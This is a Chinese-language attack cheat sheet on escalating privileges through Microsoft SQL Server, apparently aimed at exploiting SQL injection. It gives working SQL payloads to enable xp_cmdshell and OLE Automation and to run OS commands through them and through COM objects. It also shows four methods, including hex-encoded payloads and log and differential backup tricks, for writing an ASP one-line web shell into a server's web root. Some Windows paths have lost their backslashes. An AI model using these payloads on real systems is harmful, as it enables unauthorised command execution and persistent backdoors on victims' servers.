MSSQL的提权:
xp_cmshell组件的开启:
1、sql2005版本以后默认为关闭状态,需要开启命令执行
开启xp_cmdshell
EXEC sp_configure ‘show advanced options‘, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell‘, 1;RECONFIGURE;
注入点不支持多执行的话,需要一句一句的运行
;exec sp_configure 'show advanced options',1;
;RECONFIGURE;exec sp_configure'xp_cmdshell',1;
;RECONFIGURE;
利用:exec master..xp_cmdshell ‘whoami‘;
sp_OACreate组件的开启(执行命令不回显):
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
利用:declare @shell int exec sp_oacreate ‘wscript.shell‘,@shell output exec sp_oamethod @shell,‘run‘,null,‘c:windowssystem32cmd.exe /c whoami >C:who.txt‘
declare @o int;
exec sp_oacreate 'Shell.Application', @o out;
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:test.txt','c:windowssystem32','','1';
COM组件的利用(cmd可自行上传):
declare @luan int,@exec int,@text int,@str varchar(8000);
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output;
exec sp_oamethod @luan,'exec',@exec output,'C:\Inetpub\wwwroot\lu4n.com\cmd.exe /c whoami';
exec sp_oamethod @exec, 'StdOut', @text out;
exec sp_oamethod @text, 'readall', @str out
select @str;
下面是可以写文件的方法 但是有条件
1、路径已知
2、sa权限
第一种、存储过程写文件方法:
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:inetpubcbd.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("a"))%>'
第二种、存储过程写文件方法:
declare @s nvarchar(4000);select @s=0x730065006c00650063007400200027003c00250045007800650063007500740065002800720065007100750065007300740028002200610022002900290025003e000d000a002700;exec sp_makewebtask 0x43003a005c007a00770065006c006c002e00610073007000, @s;--
在上面一样
exec sp_makewebtask ‘c:inetpubcbd666.asp,‘ select ‘‘<%execute(request("a"))%>‘‘ ‘;-- -
第三种、log备份方法:
alter database 库名 set RECOVERY FULL
create table cmd (a image)
backup log 库名 to disk = 'c:' with init
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)
backup log 库名 to disk = 'c:2.asp'
第四种、差异备份方法:
backup database 库名 to disk = 'c:bak.bak';--
create table [dbo].[test] ([cmd] [image]);
insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
backup database 库名 to disk='C:d.asp' WITH DIFFERENTIAL,FORMAT;--